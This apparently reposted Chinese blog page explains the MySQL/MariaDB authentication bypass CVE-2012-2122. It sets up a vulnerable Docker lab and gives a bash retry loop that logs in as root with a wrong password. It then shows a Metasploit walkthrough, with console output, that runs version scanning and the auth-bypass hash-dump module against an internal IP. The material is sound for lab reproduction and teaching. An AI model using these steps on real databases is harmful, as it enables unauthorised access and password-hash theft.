zoukankan      html  css  js  c++  java
  • Mysql 身份认证绕过漏洞(CVE-2012-2122)

    Mysql 身份认证绕过漏洞(CVE-2012-2122)

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

    受影响版本:

    • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

    参考链接:

    环境搭建

    经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。

    执行如下命令启动测试环境:

    docker-compose up -d

    环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。

    漏洞验证

    在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

    for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

    更多测试和利用方法,见参考链接。

    用Metasploit破解Mysql用户名和密码

    发表于:2016-1-11 13:47  作者:alexkn   来源:51Testing软件测试网采编

    字体:   | 上一篇 | 下一篇 |我要投稿 | 推荐标签:

      假设我们得到了一个Mysql为5.1.61, 5.2.11, 5.3.5, 5.5.22的数据库(下面这个只是操作过程,数据库版本不是含漏洞版本)
    msf > use auxiliary/scanner/mysql/mysql_version
    msf auxiliary(mysql_version) > show options
    Module options (auxiliary/scanner/mysql/mysql_version):
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    RHOSTS                    yes       The target address range or CIDR identifier
    RPORT    3306             yes       The target port
    THREADS  1                yes       The number of concurrent threads
    msf auxiliary(mysql_version) > set RHOSTS 10.199.128.61
    RHOSTS => 10.199.128.61
    msf auxiliary(mysql_version) > set THREADS 5
    THREADS => 5
    msf auxiliary(mysql_version) > exploit
    [*] 10.199.128.61:3306 is running MySQL 5.5.44-log (protocol 10)
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
      第一步就是获取mysql version。第二步便配置Mysql的IP和端口就可以exploit了(事实上有IP足够了,所有端口开放的服务都能扫描得到)
    msf auxiliary(mysql_hashdump) > search CVE-2012-2122
    Matching Modules
    ================
    Name                                               Disclosure Date  Rank    Description
    ----                                               ---------------  ----    -----------
    auxiliary/scanner/mysql/mysql_authbypass_hashdump  2012-06-09       normal  MySQL Authentication Bypass Password Dump
    msf auxiliary(mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
    msf auxiliary(mysql_authbypass_hashdump) >
    msf auxiliary(mysql_authbypass_hashdump) >
    msf auxiliary(mysql_authbypass_hashdump) > show options
    Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    RHOSTS                     yes       The target address range or CIDR identifier
    RPORT     3306             yes       The target port
    THREADS   1                yes       The number of concurrent threads
    USERNAME  root             yes       The username to authenticate as
    msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 10.199.128.61
    RHOSTS => 10.199.128.61
    msf auxiliary(mysql_authbypass_hashdump) > exploit
    [+] 10.199.128.61:3306 The server allows logins, proceeding with bypass test
    [*] 10.199.128.61:3306 Authentication bypass is 10% complete
    [*] 10.199.128.61:3306 Authentication bypass is 20% complete
    [*] 10.199.128.61:3306 Authentication bypass is 30% complete
    [*] 10.199.128.61:3306 Authentication bypass is 40% complete
    [*] 10.199.128.61:3306 Authentication bypass is 50% complete
    [*] 10.199.128.61:3306 Authentication bypass is 60% complete
    [*] 10.199.128.61:3306 Authentication bypass is 70% complete
     
    效果图:
  • 相关阅读:
    Atitit 人脸识别 眼睛形态 attilax总结
    Atitit 手机号码选号 规范 流程 attilax总结 v2 r99.docx
    atitit 板块分类 上市公司 龙头企业公司 列表 attilax总结.docx
    Atititi atiitt eam pam资产管理 购物表去年.xlsx
    使用cmd查看电脑连接过的wifi密码(一)
    常见十大web攻击手段 悟寰轩
    常见web攻击方式 悟寰轩
    【MYSQL数据库】MYSQL学习笔记mysql分区基本操作 悟寰轩
    Filter及FilterChain的使用详解 悟寰轩
    启动tomcat spring初始化两次问题(eg:@PostConstruct) 悟寰轩
  • 原文地址:https://www.cnblogs.com/bonelee/p/14732247.html
Copyright © 2011-2022 走看看